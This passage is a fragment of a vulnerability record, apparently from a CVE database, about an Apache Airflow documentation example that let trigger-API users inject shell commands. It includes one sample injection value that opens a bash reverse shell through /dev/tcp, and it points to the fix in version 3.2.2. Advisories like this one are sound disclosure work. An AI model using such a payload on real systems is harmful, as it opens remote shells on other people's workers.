Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."}], "lastModified": "2026-06-02T18:48:48.067", "configurations": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "386C9448-B31E-4094-9935-5FDA9DB550B0", "versionEndExcluding": "3.2.2", "versionStartIncluding": "3.0.0"}], "operator": "OR"}]}], "sourceIdentifier": "security@apache.org"}
